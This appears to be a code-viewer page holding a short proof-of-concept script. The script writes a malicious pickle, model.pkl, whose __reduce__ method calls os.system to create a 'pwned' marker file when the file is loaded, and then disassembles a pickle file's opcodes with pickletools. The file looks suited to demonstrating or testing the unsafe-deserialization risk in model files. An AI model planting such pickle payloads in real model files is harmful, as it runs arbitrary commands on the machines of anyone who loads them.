File size: 295 Bytes
432ce8d
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle, os
class RCE:
    def __reduce__(self):
        return (os.system, ("touch /mnt/d/stratacloud/localdisk/pwned",))

pickle.dump(RCE(), open("model.pkl","wb"))
EOF

python - << 'EOF'
import pickletools

print("Pickle opcodes detected:")
pickletools.dis("unsafe_pickle_model.pt")
EOF